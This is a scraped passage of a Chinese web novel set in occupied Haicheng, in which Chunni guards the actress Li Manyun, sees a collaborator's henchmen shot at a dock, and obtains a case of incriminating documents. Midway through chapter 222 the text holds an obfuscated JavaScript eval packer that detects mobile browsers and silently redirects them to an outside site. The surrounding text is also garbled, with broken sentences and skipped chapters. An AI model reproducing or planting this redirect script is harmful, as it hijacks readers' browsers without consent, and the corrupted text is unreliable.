向四爷苦着脸,不得不说出实情:“可能是看我看中桂生,想捏住他,让我尽心给她办事。我跟她才提了一嘴,说桂生什么都不会。她立刻就要闹起来,说我教的东西不是人学的,教得她胳膊腿抬不起来,硬赖我教伤了人,吵着要制片换了我。我要是不答应她,我的饭碗也难保了。小顾姐,顾老师,你就当帮帮忙吧。我保证到时候我跟着去,总之绝对不会叫桂生吃亏。” 这事摆明了是不小的麻烦。 春妮倒不怕得罪向四爷,反正桂生满打满算,也只在他这干了两天,还是他上赶着求来的。但向四爷还跟她的生意捆绑,自己又指望从他这开拓财路,事情就不能办得太绝。 沉吟半晌,春妮说道:“你带我去见她。” “您……您想干嘛?”向四爷可是听过春妮以前在码头上的名声,哪敢放她乱来? 春妮眼里笑出了冷光:“她不是想找保镖吗?找我不比找桂生划算?” “啊?您说真的?” 真不真的,春妮去见过李曼云,向她展示了一番硬功夫之后,她当保镖的这事就定了下来。只要眼不瞎,都看得出来,春妮一个顶普通人三五个是不成问题的,反正她的要求只是换掉桂生。 事情谈妥之后,李曼云只提出了两条要求:任何时候都必须跟在她身边保护她,不能让她遇到任何危险。春妮答应后,她又要求她立刻上岗。 这春妮也没二话,只说自己要打个电话,给家里人报个信。这是合理要求,李曼云没道理阻拦,放她走出了片场。 向四爷赶紧跟出来,冲她直作揖:“小顾姐,这次真是多谢您搭手了。” 春妮神色淡淡:“谢就不必了,保镖的钱你也可以留着。你要是有心,就给我多介绍几个买东西的好主顾。” “那是自然,自然。不过保镖的钱我还是要给的,这次卖妆粉的提成我就不要了,就当是我的赔礼吧。” 春妮不置可否:“还有一条,这单生意既然我插了手,就不希望还有其他人在。” “我懂,就依您的规矩。” “还有,等会儿我叫几个人来,到时候你认一认人,带到李曼云面前,就说是你的徒弟。” “啊?您直接说是您的人不也一样吗?” 春妮咧开嘴:“我这不是怕李曼云跟我才认识,不相信我带的人吗?” 向四爷本能觉得,她这个说法好像有哪里不妥,但春妮说的又句句在理,让他不知道怎么反驳。说到底,这麻烦是他接过手的,对方肯给他平事,自己行些方便也是分内事。 “那……也行。”他犹犹豫豫的,到底点了头。 “就这些了。四爷先去忙你的吧,我往家里打电话。” 支走向四爷之后,春妮走出景区很远,找到一个杂货店付费电话,打到常文远店里,将今天发生的变故同他说了。 “有什么需要我帮忙的吗?”常文远在电话那头问。 “你帮我找一下王老六,让他避着点人,下午三点在外景园子对过里弄的茶室里等我。” “你不会想找他的人给李曼云当保镖吧?他靠得住吗?” “你忘了,他还指望我照顾阿进,我的差事他不敢殆慢。” 王阿进一直被扣在倭国人手里,倒是没再受罪,只是春妮要时常送东西给他,确保他活的好好的。 常文远沉默片刻,道:“一直以来,你办事都很有分寸。我本来不想说,但王老六他投靠了倭国人,这种人见利忘义,万一李曼云跟王少正发生了正面冲突,你觉得他可能会为了你跟大汉奸头子对上吗?” 要不是王老六成天在街面上流窜,轻易找不到人,春妮还真不想给常文远打电话。就知道自己不解释清楚,他是不会照办的。 “难道你以为我真会老老实实给她当保镖?”她在电话那头轻松地笑道:“反正两个都不是好人。我就是不想正常人牵连进来,找王老六糊弄差事而已。” “真的?” “当然是真的。”春妮怕他听出不对,对着话筒笑得哈哈的。 “那好,我去帮你找他。你答应我,不要做多余的事。” 春妮:“……你认真的样子,像是我一定会惹事似的。行了我有分寸。” 挂断电话,春妮下意识在杂货铺的玻璃窗上瞟了一眼。模糊不透的绿色玻璃上,印出一道锋利的微笑。 第220章 220 口红 镶鸡翅木的大理石茶几上, 满登登地摆放着香水,口红等物。这些东西都是在到达李曼云位于法租界的公寓后,春妮应她要求, 又重新拿出来供她挑选的。 除了她, 李曼云又通过向四爷的“介绍”请了好几个保镖,都被安排在了她对门的公寓里,只有春妮被当作新雇的娘姨允许进了门。 她倒宁愿跟那几个保镖去住,也不想听这女人喋喋不休,一刻不停地散发负能量。 这会儿李曼云叠腿坐在沙发上,挑剔道:“就这几样东西?你不会留给我的全是别人挑剩下来的吧?” 春妮也不争辩,只道:“要是李小姐您担心这个, 可以不用买。”说着,就要重新收进随身带的包。 依春妮的意思, 这些东西本打算下工后交给桂生带回去,但李曼云还惦记着自己上午说的话,尤其见到玉姐她们都买了新口红,更不肯落于人 后, 只是习惯性地嘴贱,不说好话。 “得了得了, 我随便买买吧。我看你也没什么好东西。”她拧开一管口红打算直接往嘴上搽。 自己又不是开商场的,这口红她抹一下,就卖不出去了。哪能随她心意乱来? 春妮劈手拦住她:“承惠, 二十块大洋。” “你杀人啊?这么贵?”她尖叫道:“不过是些破烂货,也敢卖得这么贵?” 春妮已经明白她聘用自己的目的, 知道她这时绝不会赶自己走,并不怕得罪她,冷冷重复:“李小姐嫌贵的话, 可以不用买。” “啊哟,你是不是只会说这句话啦?你卖的是真贵嘛。”她抓着口红嘟嘟囔囔:“你不就是以为现在海城没有进口货才敢卖这么贵吗?我跟你讲,美国人马上就打过来了。到时候倭国人被美国人赶跑,那些商场啊,百货公司啊,都会回来的。到时候新的外国货进来,你这些不知道囤了几年的旧货就不值钱了。” 春妮觉得有些荒谬的好笑感:这个跟汉奸勾搭的女人,听她的口气,竟还是盼着美国人赶走倭国人的?她仿佛没摆正自己的位置,以为倭国人走了,她会有什么好下场? “李小姐打哪听说的?美国人倒是想打过来,哪有那么容易?”春妮故作不屑:“我可是听人说过了,前天倭国人跟美国人在海上相遇,打了好大一个胜仗。我看哪,这场仗还有得打,我的生意有得做呢。” “你懂什么,”李曼云翻白眼:“现在报纸上能有几个真消息?” “不信就算了。”春妮学她翻白眼,夺过口红放回包里。 身后李曼云叮叮嘣嘣不知道在摔打什么东西,春妮懒得管她,转身走到窗边往下看。 她居住的这间公寓跟春妮现在当成宿舍的法式公寓格局有点像,但位置好很多。楼下是一条栽种着法国梧桐的林荫路,路后洋房的白墙在树冠间半隐半现。邻街,但并不吵闹,是个闹中取静的好地方。 三两穿洋装的行人时不时匆匆经过,一辆道奇绿色军用吉普停到了人行道旁边。 “哎,你在哪听说的,倭国人赢了?” 五个穿黑衣服的人从吉普车上走下来。 “不记得了。” 李曼云气结:“你这个人,讲话能不能认真些?”又说:“你不就是想我买你的东西吗?你要是老老实实的告诉我,我多买你些又有什么。” 她突然从坤包中抽出几卷绿色钞票,眼神睥睨:“这些,够买你所有的口红了吧?” 春妮:“……”她随口一句话,这女人竟当真了? 为了这卷钞票,认真一些也是应当的。 她作出思考的神色:“那我想想。我有个干哥哥,他在给倭人做事。他跟我说了,昨天他的倭国上司让他买了好多好吃的,说是倭国终于打了一个大胜仗,晚上要请同事喝一杯来庆祝。” 干哥哥是真的,给倭国人做事也是真的,其他的全是她瞎编的。 春妮寡言少语,眼神沉稳,长得一看就是很可靠的样子。李曼云似乎有些相信了,振奋追问:“那倭国人说过,是在哪打的胜仗吗?” “好像叫什么西班岛?不是?东班岛?什么班来着?” “塞班岛?” “对对对,就是这个岛,李小姐你不是知道吗?”塞班岛打仗自然是真的,但打成什么样,她哪有本事知道。 李曼云神色凝重,并不见如何兴奋。 春妮觑着她的神色:所以她到底是想倭国人赢?还是美国人赢? 不过她怎么想,春妮也不是那么关心。她忽有感悟:这个年代时常有有钱人被拆白党骗得倾家荡产的新闻见诸流言报端,难道是那些有钱人特别笨?当然不是。无非是朝不保夕的生活,即使是有钱人也不得不多疑多虑。偏偏各色消息真假难辨,同一件事,不同阵营的报纸却各有各的说辞。情报的参差,给了骗子们兴风作浪的机会。那些骗子能够行骗成功,抓住的往往是受骗者最在意的点。 美倭两国之间的战争情报,对李曼云来说显然十分重要。但这些事离华国,离海城太远了,远到她打听不出来。 李曼云站起身踱步,她咬着嘴唇,似乎在做什么重要决定。 但她的决定并没有机会酝酿出结果,春妮作了个警戒动作走到门口,她听见了门外的脚步声。 “曼云,曼云?”外面的人开始叫她的名字,没有得到回应,声音越发焦急。 李曼云深吸一口气,示意春妮打开了门,她则站起来迎向来人,嗔道:“啊哟,敲得这么急干什么?” 早春的天,来人手提一个银色小箱子,一脸的热汗。他并没注意到春妮的存在,焦急道:“我不是跟你说好了,今天晚上的船,你怎么什么都没准备?” 关门前,春妮从门缝里觑了一眼,四个穿黑衣服的壮汉叉手排开,堵在门口。 “哎呀你别急嘛,”李曼云娇嗔着迎上去:“我听人说,倭国人才跟美国人在塞班岛打了个大胜仗。你说,会不会美国人被倭国人赶走,以后就不会再回来了呢?” “你听谁说的?” 大哥死后什么都乱了,倭国人的消息一件比一件坏,王少正这段时间忙着跑路,的确没怎么留意最新的战事。 美国人跟倭国人日前的确在塞班岛发生了激烈的战事,但这到目前为止,还是机密,普通人不可能有获取的渠道。如果李曼云没说得这么准确,或许王少正还会有所怀疑,但她说的日期和地点都对得上,由不得他不谨慎。他怕的是大哥死后,倭国人也要倒台,若是倭国人不倒,他还是有机会翻身的。 春妮的心跳一顿。 李曼云却道:“这你就别管了,反正就是有这回事。” 春妮懂了,她是怕说出消息来源于自己一个娘姨,王少正不肯相信,刻意神神秘秘的拖延时间,倒便宜了自己一时不用被姓王的注意。 “你等我一等。”王少正就手将箱子放到沙发上,又叫来一个叫阿四的人,道:“你在这陪着李小姐,我出去一下。” 阿四并不言语,点点头,将箱子抱进怀里,站到了门口。 王少正又看向李曼云,后者乖觉,马上道:“那我先收拾着,等你回来,咱们就能走了。” “收拾些要紧的东西就够了,要快,船不等人。最迟七点钟,必须离开海城,知道吗?” 王少正离开后,李曼云借着收拾东西的理由,将春妮拉进卧室,问她:“你的消息到底是不是真的?” 春妮没答她,直愣愣盯着她的包:“我答你了,我的钱呢?” 她的这个态度,李曼云反而放下心来,嘀嘀咕咕:“就知道死要钱。”取出那叠美金拍到她手上,没好气道:“行了吧?” 春妮接过钱点数,在心中认真考虑,是趁王少正回来前,立刻逃出这间公寓,还是再等等看。 “唉呀,你站在那数什么数?说了是给你的就给你,我又不会少你一分钱,快先帮我收拾。” 春妮点钱的这点时间,李曼云卧室的所有衣柜都已经打开,她拖出床底下的大箱子,指挥春妮往里塞衣服。 “这件这件,还有这件,你都给我放进去。” 春妮手脚麻利地帮她整理,她要带走的全是名贵的毛皮和光华锦绣的旗袍。 李曼云吩咐完,坐到梳妆台前,打开抽屉,捧出一个剔红漆的妆盒,开始往里塞珠宝。 猫儿眼的戒指,羊脂玉的镯子,一串串指肚大的珍珠项链…… 亏得春妮见过世面,才没被这些宝光灿烂的珠宝冲击得失去了分寸。 李曼云对她的表现很满意,她收拣完一只盒子,干脆利落地塞给春妮:“跟衣裳搁在一起。”又从床底拖出一只箱子。 她收拾东西的速度极快,这让春妮不禁好奇:王少正没来之前,她磨磨蹭蹭的,这不肯那不愿找了一堆理由,怎么他一来,也没说什么,突然就变得这么积极了? 她闲聊似的问了出来,本没指望听见回答。 李曼云手下 的动作慢了慢:“还能为什么,当然是为了好好活着。”她抚摸着妆台上晶莹璀璨的珠花簪子,讽刺笑道:“我知道玉姐,还有你,你们都瞧不起我。但你再瞧不起我,不也要给我干活?玉姐再瞧不起我,见到我不也要笑脸相迎?要不是我跟了王先生,你们还会这么对我?” 春妮明白了她的未尽之意:所以王先生要走,她也必须积极且欢喜地跟着一道走。因为离开了王先生,她不会再有这样的风光。 她的一切来自于王先生,因此,她的意愿无足轻重。 “那你何不就跟着王先生去港城?” “你是不是傻?我在这里可以演电影,我去了港城能干什么?真给他当小老婆?”李曼云比着一对红宝石耳环,又拿起一对镶蓝宝的:“男人哪,就是贱。家里的不香,要偷着才香。算了,我跟你个小丫头说这么多干什么。” “可靠山跑了,你留在这,不也一样不好过?”春妮直白道。 李曼云偏头一笑,猫儿般的眼似要溢出水来:“你瞧我美不美?” 春妮懒得答她,李曼云摇曳生姿地走近她,带来一片甜媚的温香:“总有识相的男人,会怜惜美丽的女人。你说是不是?” “当当当当,当当当——” 客厅的挂钟敲了七下。 “李小姐,七点了,我们该走了。”外边阿四同时敲起了门。 220-230 第221章 221 声音 阿四像一堵墙似的, 堵在春妮面前:“李小姐,你想带她走?” 李曼云看她一眼,轻巧说道:“啊, 她就帮我提些东西, 等到了地方,我就打发她走。” 春妮立刻便明白了,王少正在海城的能量不小,李曼云不愿意明面得罪这个大金主,这是在向她下最后通牒,自己无法跟着上船,那么, 从公寓到码头的这段路上就是他们将她“劫”走,留在海城的最后机会。 “那不成, ”阿四瓮声瓮气地说:“先生没说带她走,她就不能跟我们走。” 李曼云就道:“那我这么些箱子,你一个人给我搬吗?”女明星东西多,再精减下来, 也装了五六个大木头箱子。而刚刚王少正离开前,已经把守在门口的几个人都带走了。 阿四挠挠头:“那我多跑两趟。” 这个阿四脑子似乎不怎么好, 李曼云跟他好说歹说,直到发了脾气,赖在沙发硬磨了将近十分钟, 他急得差点打人,才不情不愿答应下来。 最后趁李曼云不注意, 他阴狠地瞪了春妮一眼,抱起王少正留下的箱子,道:“我先去叫几辆车来拉行李。” 春妮垂眉顺眼, 只把自己当成个木头桩子一声不吭。 趁阿四离开,李曼云抓紧时间对春妮道:“一会儿你躲在电梯旁边,给他一下子,这事咱们就算了结了。” 看不出来,这女人真够狠的。 春妮当然不干:“李小姐,咱们不是这么说的,我可不敢打杀别人。再说万一王先生等不来阿四先生,再回来找我们,你打算怎么跟他说?” “你以为现在离沪的船票很容易到手吗?放心吧,他才舍不得再跑回来,万一赶不上船呢。” 说归说,李曼云看春妮那畏惧的模样,恨恨瞪她一眼,没再坚持。 虽说现在海城交通有诸多不便,但因为法租界到处遍布高档社区,黄包车还是很好叫的。 阿四很快在楼下找来一辆驴车和一辆黄包车,将两人叫下了公寓楼。用驴车上的稻草将行李略作遮掩,春妮和阿四分坐驴车的两头看行李,李曼云则坐上黄包车,一行人开始出发。 如今一到傍晚,街上几乎不会有什么人行走。春妮往驴车车头靠靠,装作闲聊的样子,问:“大哥,咱们这还要走多久啊?” 她先前在公寓楼问过阿四目的地,对方没给她一个眼神,而李曼云显然也并不清楚,问阿四,阿四只说,到地方就知道了。 “要不了多久,最多一个多钟头。”车夫不知其中奥秘,乐呵呵地回答。 “一个多钟头啊,”她抬高声音:“八点钟就宵禁呢,岂不是我送完李小姐就回不了家?李小姐,你得给我点钱,不然我没法在外边过夜。” 阿四哼了一声。 春妮则看着驴车行进的方向,在心里计算,一个多小时不够出城,他们上船的地点应该在华界的外码头,定的路线十有八|九是从外码头乘私船从吴江出发,到吴江口再转乘海船去港城。从法租界到外码头需要穿过公共租界,从她以前学校所在的那个方向走到倭国人聚居区的杨浦,再往北一些该是他们此行的目的地,走的都是她以前最常往来的地方。 那么……她微微侧身,眼角的余光中,王老六他们弄来几辆黄包车,正分散成几个方向跟了上来。 其中一个车夫速度放慢,落到队伍的最尾端,悄悄地脱了队。 春妮转过脸去,外码头那块自己没去过多少次,却是王老六的地盘。 那块地方从前朝起就是有名的货运码头,多如牛毛的□□,外国货船在那里出出进进,势力盘根错节。因为时代的变迁,这些码头有时是官埠,有时是私埠。其中围着这片地方展开的纷争,即使是春妮这样沿江开过好几年夜市,见证过一代代闻人起起落落的小摊贩,都不一定说得清。 就是这样混乱无序的地界,王老六那一年被袁八爷逐出英租界码头之后,像颗钉子一样,不起眼地扎了进去。 行程过半,春妮扫过屹立于闸口路街头的监狱大门,调整了一下坐姿,旁边的李曼云,一双水淋淋的眼睛几乎瞪出火来,整个上半身差点从车蓬里倾出来,挥舞手臂向她发出了无声的咆哮。 得稳一稳她,要不然,凭她这样不管不顾的性子,不知道还会折腾些什么。 “哎呀。”春妮捂住肚子叫。 “怎么了?”李曼云忙问。 “我好像吃坏肚子了,我要上茅房。”她说。 “这种时候——”话说到一半,李曼云转转眼珠:“你一个小姑娘脱了队不安全,我陪你去找个茅房吧。阿四,你留在这看东西。” 言毕,她唤车夫停了车,不等阿四出言阻止,不由分说架起春妮拐进一条里弄。 一脱离开阿四的视线,李曼云便将春妮的胳膊一摔:“路都走一半了,你是怎么安排的,还没动静?” 春妮手指放到唇边,“嘘”了一声:“你往前看。” 她拉着李曼云藏进弄堂边的树后,两人伸脖往驴车的方向看去。 阿四很快跳下驴车,他一手仍紧抱住箱子,一手放在腰间,盯着每个行人 来回打量,特别是那几辆一直跟在他身后的黄包车,警觉万分。看来,他并不是毫无所觉。 李曼云“啐”道:“看不出来,这憨货还挺有心眼。” 春妮心中哂道:脑子轴又不代表笨,真没有点本事,怎么可能被大汉奸当作第一心腹托以重任? 这时,一辆黄包车从他身边经过,半个车身微微带过他的胳膊,他立刻旋身回腿,掏出手枪,手指放到了扳机上。 “啪啪啪”,炒豆子的声音传来。 春妮手下微紧,李曼云“啊”地尖叫:“杀人了,杀人了啊!” 她紧紧闭上眼,蹬起高跟鞋就朝弄堂深处跑去。 春妮一时不防,被她往前窜了好长一段路才将人捉住:“你乱跑什么,开枪的不是阿四!” “啊?阿,阿四没开枪,那是谁开的枪?” 她顺着春妮的视线望向里弄对面的出口,那个方向,两个戴圆形有檐帽的黑衣男正快速向她们这个方向跑来。 李曼云倒抽一口冷气,整个人都软了。 这两个人一手扶住帽子,另一只手上各提着一条枪。 春妮一把捂住李曼云的嘴巴,身体半倾,面向墙壁紧紧贴住,听身后脚步声鼓点般远去,她长长出了口气。 “这……这些人也太乱来了,光天化日,光天化日——” 李曼云后怕不已,抖着身子瘫在春妮身上,任由她将自己拖回了黄包车。 路上出了这个意外,李曼云安静了不少,随后的一段路没有再作妖,听凭驴车将几人带到了地点。 阿四跳下驴车,站在江边打了个唿哨。 此时天色已经黑尽,平静的江面上,一艘小乌蓬船从背阴处驶了出来。 几个力夫不知道从哪个旮旯里冲出来,抢过春妮手上的箱子:“我来给奶奶抬行李。” 倭国人公告关停民用码头之后,绝大部分力夫都离开这里另谋生计,但仍有一小部分守在这不肯走。尽管这里变得比以前更加危险,但也只有这里,还零星会有些活计。 李曼云冷淡地扫过他们,皱起鼻子后退了两步。 “你不准上去。”阿四眼里凶光涌动,挡住了春妮。 李曼云没出声,意外碰到那两个黑衣人之后,她一直有些心不在焉。 春妮视线越过阿四的肩头,跟其中的一名力夫对视一眼,让开了路。 阿四一眼不离盯住她,似乎不信她会一下子变得这么老实。 忽然,他的视线一紧。 逐渐变浓的夜色中,有点异样的声音。 春妮转身望去,两束远光灯出现在路的尽头,一辆吉普车出现在大家面前,这车面的挡风玻璃已经没有了,车身上几个弹孔。 “阿四哥,你快过来帮我扶王先生,他受伤了。”一个之前在李曼云公寓楼外站过岗的黑衣人从驾驶座上跳下来,他的前襟满是血迹。 “王先生在哪?还有其他人呢?”阿四却盯着他,狐疑问道。 黑衣人打开后车厢,吃力地从里面拖出一个人:“我们遭到了埋伏,其他人都跑散了,你快过来帮忙。” 借着车灯的光亮,船边的几个人这时都看到了后座的人,的确是王少正没错。 他头歪在黑衣人肩上,半边脸都被血洇湿了,的确看上去很不好。 春妮悄悄往后退了两步,发现李曼云跟她一样,也在悄悄往后退。 但她直勾勾盯着那个黑衣人,眼神里满满涌动着恐惧。 阿四弯下腰,开始查看王少正的情况,这时,黑衣人突然将王少正推向阿四,一只手枪穿过他的腋下,朝阿四扣响了扳机。 他这几下动作极快,到李曼云尖叫时,阿四已经倒在了地上。 黑衣人弯腰,想拾起地上的箱子。 黑暗中,一声不知哪里来的冷枪击中他,他很快也变成了一具尸体。 李曼云吓晕了过去。 江水平静地往东流去,那艘等在黑暗中的乌篷船不知什么时候,也悄悄溜走了。 春妮又等了一会儿,站起身来,向枪声响起的方向看了一眼,走到阿四身边。 第222章 222 杂鱼 “天降横祸, 我这是天降横祸!我就是回一趟乡下看望姨妈,怎么知道会遇到这种事?探长先生,请你一定要帮我把行李找回来。我辛辛苦苦工作, 好不容易攒下来的一点钱, 全便宜了那些烂腚的小瘪三哪啊啊啊!” 病房里,李曼云手帕捂住小半张脸,脸上的妆花得一道一道的,哭得好不狼狈。 她是女明星,本该最懂得怎么哭得好看,怎么哭得让男人怜爱,但遇到了这种事, 即使是女明星,哪还能顾得上形象? 天知道她昨晚看到王少正那个保镖提枪跑出巷子, 再看到他出现在码头,用计骗杀了阿四时,她的内心经历了怎样的变化。 纵然李曼云不聪明,可这两件事联系在一起, 傻子也该明白,自己卷进了不该知道的事件之中。 所以她昨晚“晕”得很及时, 这也是她在当时的境况下,所能选择的唯一正确的路。 然而当她倒向自己新雇的女保镖身上,假晕不知什么时候就变成了真晕。到她 嘘——”她近似于耳语:“这件事,我们谁都不知道,谁都不能说,你明白吗?” 李曼云咬住嘴唇:“我就是个女人,那些人害我干什么?” 春妮轻轻地笑了笑:“谁知道呢。说不定他们以为你知道什么秘密,或是王先生有什么宝贝——” 春妮没能说完,李曼云忽地捉住她的手,死紧死紧:“小顾,顾小姐,我雇了你的,你可不能不管我,一定要好好保护我啊。” ………… 王少正的死看起来对李曼云没有什么影响,在医院住了一天之后,她便嚷嚷着出院,要回公司去拍电影去了。 她难得积极上一次班,却连公司的外景地也没进去。看园子的老头告诉她,说经理说了,她这段时间总是迟到,态度又差,已经将她开除出了剧组,还吩咐所有人,看到她不许她进门,直接撵人。 接下来的事就有些混乱了。 李曼云被人辱上脸面,竟青着脸,忍住了什么都没说,转头去了公司找总经理,又坐黄包车去其他地方找了些人,这些人中,有些见了她,有些没见她。具体他们说了什么做了什么,春妮很有眼色地站到门口,没出言探听。 好事不出门,坏事传千里,李曼云被剧组开除的消息当天就见了报。又过两天,李曼云租住的公寓到期需要续费,房东却一天时间也不肯等,堵在她门口让她拿钱交租。 李曼云出不了门,跟房东说自己去银行取钱,房东也不肯放人,还是春妮在房东面前亮了刀子,才应付过这一关。 李曼云之后的命运,春妮没再继续关心。她失去了工作,没钱再供养一个保镖,被她乱发脾气迁怒过一次后,春妮顺势消失在了她的生活之中。 这些天她陪着李曼云,着实耽误了不少学校里的事。各种教务堆积成山,她忙得晕头转向,差点忘了一件事。 直到这天晚上,她在回家路上被两名黑衣人拦住:“顾小姐,我们八爷在那边等你。” 袁八爷……春妮恍然:王老六那天晚上坑了她一把,将她和一个昏迷的李曼云留在现场,自己带着人跑了。她不想被王少正的事牵连进来,只能找她的老朋友袁八爷帮忙善后处置现场。 那年她刚到海城,在学校外边摆摊卖冰粉,因为保护费的事跟袁八爷不打不相识。这些年过去,她没离开学校,却是袁八爷红帮被打散后改换门庭,先后拜了好几个码头,最后在青帮当了个不大不小的头目。倒是地盘没怎么变,从江浦码头到这一块的外码头,这些年都是他在管。 王少正和那几个黑衣人的尸首就是袁八爷带着人亲自沉到吴江中去的,事后也没有风声传出来。春妮欠他这一份人情,欠大了。 袁八爷有了些年纪,他坐在汽车后座,拍拍膝头上的银箱子,冲春妮笑:“顾小姐好沉得住气。这么个宝贝放在我这,竟忍得住不来问我。” 春妮笑道:“我那天晚上不是说过,东西送给八爷,就当是我谢八爷了吗?” 袁八爷摇摇头,将箱子打开,转到她面前:“你先看看都是些什么东西吧。” 箱子也就是一个文件袋那么大,高约半掌厚。阿四提在手里时,春妮暗中猜测过里面的东西,现在看起来,也就是一厚塌纸,像是一叠文件。 文件的最上方是一个信封。 春妮打开信封,从里面抽出一张写着花体英文存单。 汽车的顶灯有些发暗,春妮打眼一看,竟没看清上边有多少个零。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14917218|160279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一,二,三,四…… 春妮手一抖,存单差点抖到地上。 她猛地抬头去看袁八爷,他知道这是多大一笔钱吗? 袁八爷根本没看她:“别看了。花旗银行的存单,要是能到我手上,我会让你看到?” 春妮也冷静了下来:他说得不错,这张钱是以王少正个人名义存入花旗银行的大额存单,但不管他存了多少钱,没有王少正的指纹和印信,或许还有他们约定的其他取款方式,这笔钱他们也就是干看着动不了手。 “我今天来找你,”他抬了抬下巴,“你先看看下边的这些东西吧。” 第223章 223 文件 这是一叠倭文文件, 箱子的角落还附有几卷胶卷。 春妮的倭语水平仅限于日常对话,她根据上面印刷的汉语连蒙带猜,看出这叠文件应该跟76号一号人物季士琴, 还有他的那几个手下有关。至于具体内容——能跟那张大额存单放在一起的文件, 必然也不简单。 “这些东西不着急,你尽可以拿回去慢慢研究。”袁八爷看了看表:“我还有其他的事,顾小姐,咱们改天再聊。老李,开车。” 汽车卷起灰尘,很快驶离了春妮的视线。 春妮目送袁八爷的车远去,这位不显山不露水的□□高层一向在她心目中很神秘, 到了今晚,这份神秘感直接到了顶峰。 这些年来, 多少位高权重的大帮派闻人死了一个又一个,他却改换门庭这么多次,次次稳中有升,还牢牢把住了已经到手的利益。 诚然如他所说, 这张光是零就有十一个的大额存单他无法变现,但只要捏在手里, 无论是献给倭国人,还是交给双城政 府,还是找大买办合作, 想想办法,银行方面的工作不是没有机会做通。他作为资源提供方, 吃不到肉,跟着喝喝汤绝对没问题。 可他就这么平平淡淡地还给了春妮,什么都没要求她做。 这个人太不简单。 倭国人宵禁至少带来了一个好处, 无论上工还是上学,大伙到点都必须下班,否则就回不了家了。 客厅早早被常文远和桂生两个用粗布隔出一个小空间,桂生的床就放在里面。他平时没事会在客厅里给剧组画一些招贴宣传画,有时背背外文。 他在剧组里待得很开心,不止向四爷器重他,导演见他长得伶俐,还让他在影片里客串了两回路人甲。听说他能写会画,有时做道具也会喊他去帮忙。 总之,他现在还挺忙的。 书房里,春妮将东西交给了常文远。 她很满意对方看到存单受到惊吓的表情:“你从哪弄来的?我的天,一个亿的美金,南城政府的国库都没这么多钱吧?” 春妮笑了:“要是国库里有这么多钱,南城政府会这么快垮台?” “我算是服了,就这么个破烂世道,还能刮这么些钱出来。这些人贪钱的本事要是同当官的本事倒过来,只怕倭国人还能撑个好几年。” 在他们的共识中,前两天德国宣布投降之后,倭国人倒台已经是必然结局。就连倭国人自己都明白,他们现在所做的一切只是垂死挣扎。 这样的消息,只瞒着那些没有获取渠道的普通海城市民。 这些天常文 远餐馆都没怎么去,一直在跟近藤合作加紧倒腾物资。 春妮因为忙着李曼云这件事,没怎么关心这事的进展。既然今天想到,她便顺嘴问了一句。 常文远说:“我也在想,近藤仓库里有用的东西应该不剩下什么,该是时间结束了。不过他仓库里昨天到了批俏货,做完这一单我就不做了。” 所谓的俏货,就是指军火。 倭国人走后不一定意味着和平,这也是很多人的另一个共识。 “那就好,”她想起早上路过街口听见的枪响,提醒道:“今天倭国人又在码头那里枪决了一批反战的士兵,看来他们中的死硬分子还是有不少的。越是到这个时候,我们越要小心。” “这件事我们等会儿再说,”他盯着桌上的文件,神情冷漠:“我知道这是什么了。这是一份76号的审讯记录倭文稿!” “那胶卷——” “明天天一亮,我马上送去找我们自己人洗出来!” 这一带以前居住有不少外国人,倭国人经常以各种名义敲门敲诈纠缠。因此,在两人的住处中,不方便设立暗房冲洗相片。 两人只得按捺下心急,翻看第二份文件。 有这第一份文件打底,剩下的文件两人也有了数。有几份倭国宪兵队的审讯记录,有一些货物进出港记录,有几份转帐汇款的存单,几乎都是以王少正名义发出的。 这些名单的收款人有的不是倭国人,有的是女人的名字,但必然跟倭国人或是那些大汉奸有极深的关联。包括那些货物进出港记录,必然运的也是见不得人的东西。 这些都需要时间去查,但能让王少正逃走都要带上,至少说明了它有多重要! “全都是汉奸和倭国人累累罪行的铁证!”常文远咬牙道。 春妮背后出了一层冷汗。 如果战争胜利,她拿回来的这套东西,足以将以上关联的人送上绞刑架反复吊死一百次! 难怪王少正一个不掌兵的应声虫会遇到刺杀,难怪袁八爷忙不迭给她还了回来。 这不仅仅是罪证,它还有可能是催命符。 袁八爷…… “这件事还有谁知道?”常文远也想到了这个问题,马上问道。 事到如今,码头上发生的事再隐瞒下去也没有了意义。 常文远听完后,只匆匆交代一句:“这些文件你先用相机照下来保存一份,我出去一趟。” 春妮知道,他是给自己善后去的,很不好意思地问:“要不要我陪你。” “不用!”他意识到自己说话太过严厉,放缓了语气:“我没有怪你。事实上,这些东西太及时了。但现在你有危险,我还不清楚情况,你最好不要动。听话。” 他转过身,似乎想拥抱她,但只抚了抚她的头发,戴好帽子关上了门。 沉重的脚步声延续到客厅,客厅里桂生似乎说了句什么,常文远又答了什么,春妮没有去在意。 对方这样的凝重,使她完全从“抓到大鱼”的兴奋中冷静了下来。 袁八爷送箱子过来时,没有刻意瞒着人。他或许是觉得,行事鬼魅可能会起到反效果,不如光明正大地来。但他本人心思深沉,春妮跟他认识这么些年,从来没摸准过他的性子。 若说他有立场,可他跟倭国人称兄道弟亲热得很,若说他没立场,那么他今天来送箱子,又是怎么个意思? 他手底下的人更是鱼龙混杂,谁知道其他人知道了多少。还有那天的码头,这些事细推下来,并非绝对的天|衣无缝。 春妮琢磨大半宿,快到天亮的时候,常 230-238 第231章 231 喜事 再次看到政府军部队的那天, 春妮正在市场买菜。倭国人这几年把海城祸害得不浅,一整条街上只开个一两间,甚至一间不开都是常有的事。 而这段时间, 海城百业待兴, 萧条的城市完全掩盖不住焕发新生的昂藏气。有些消息灵通胆子大的小商贩,趁着倭国人没走,其他人还不太敢出来卖东西占住一两个十字道口,就在马路牙子上铺开阵势售卖东西。净是些前两年市场上难得一见的秋蟹,团糕,还有大胆的农人挑担子来卖新米。这些东西,以前都只在倭国人的商店有卖。 春妮从一群老阿嬷阿爷的冲杀中抢出十斤新米, 又杀出重围,准备在卖米的旁边称一斤海瓜子, 就在这时看见了数年不见的政府军海城军队。 “宪兵部办事,闲人都让开!” 随着一声高喊,街角处拐来一队车队。说是车队也不太对,这队人中, 